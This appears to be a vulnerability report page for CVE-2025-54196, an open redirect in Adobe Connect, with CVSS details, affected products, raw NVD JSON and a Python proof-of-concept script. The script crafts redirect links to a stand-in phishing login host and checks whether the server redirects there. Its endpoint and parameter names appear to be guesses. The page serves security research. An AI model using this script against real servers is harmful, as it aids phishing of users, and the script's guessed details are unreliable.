Security Vulnerability Report
中文
CVE-2025-54196 CVSS 4.3 MEDIUM

CVE-2025-54196

Published: 2025-10-14 22:15:38
Last Modified: 2026-04-28 03:16:00

Description

Adobe Connect versions 12.9 and earlier are affected by a URL Redirection to Untrusted Site ('Open Redirect') vulnerability. An attacker could leverage this vulnerability to redirect users to malicious websites. Exploitation of this issue requires user interaction in that a victim must click on a crafted link.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:adobe:connect:*:*:*:*:*:-:*:* - VULNERABLE
cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE
Adobe Connect <= 12.9

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-54196 - Adobe Connect Open Redirect PoC # Vulnerability: URL Redirection to Untrusted Site # Affected: Adobe Connect <= 12.9 import requests from urllib.parse import urljoin, quote TARGET_HOST = "https://[connect-instance].adobeconnect.com" MALICIOUS_URL = "https://evil-phishing-site.example.com/login" def craft_open_redirect_url(target_host, redirect_param, malicious_url): """ Craft an open redirect URL exploiting CVE-2025-54196. The redirect parameter is not properly validated, allowing redirection to arbitrary external URLs. """ # Common parameter names used in redirect functionality params = ["redirect", "url", "next", "returnUrl", "redirectUrl", "goto"] for param in params: crafted_url = f"{target_host}/common/help/?{param}={quote(malicious_url, safe='')}" print(f"[+] Crafted URL with param '{param}': {crafted_url}") # Example crafted URL example_url = f"{target_host}/common/help/?{param}={quote(malicious_url, safe='')}" return example_url def verify_redirect(url, expected_redirect): """ Verify the open redirect by following the redirect chain. """ try: response = requests.get(url, allow_redirects=False, timeout=10, verify=False) if response.status_code in [301, 302, 303, 307, 308]: location = response.headers.get('Location', '') print(f"[+] Server returned {response.status_code}") print(f"[+] Location header: {location}") if expected_redirect in location: print("[!] VULNERABLE: Open redirect confirmed!") return True else: print(f"[-] No redirect. Status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False if __name__ == "__main__": print("=" * 60) print("CVE-2025-54196 - Adobe Connect Open Redirect PoC") print("=" * 60) crafted = craft_open_redirect_url(TARGET_HOST, "redirect", MALICIOUS_URL) print(f"\n[*] Testing crafted URL: {crafted}") verify_redirect(crafted, MALICIOUS_URL)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-54196", "sourceIdentifier": "[email protected]", "published": "2025-10-14T22:15:38.030", "lastModified": "2026-04-28T03:16:00.363", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Adobe Connect versions 12.9 and earlier are affected by a URL Redirection to Untrusted Site ('Open Redirect') vulnerability. An attacker could leverage this vulnerability to redirect users to malicious websites. Exploitation of this issue requires user interaction in that a victim must click on a crafted link."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}, {"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-601"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:adobe:connect:*:*:*:*:*:-:*:*", "versionEndExcluding": "12.10", "matchCriteriaId": "FE8202C5-1060-4C83-B5D6-ECB75864C63F"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://helpx.adobe.com/security/products/connect/apsb25-70.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}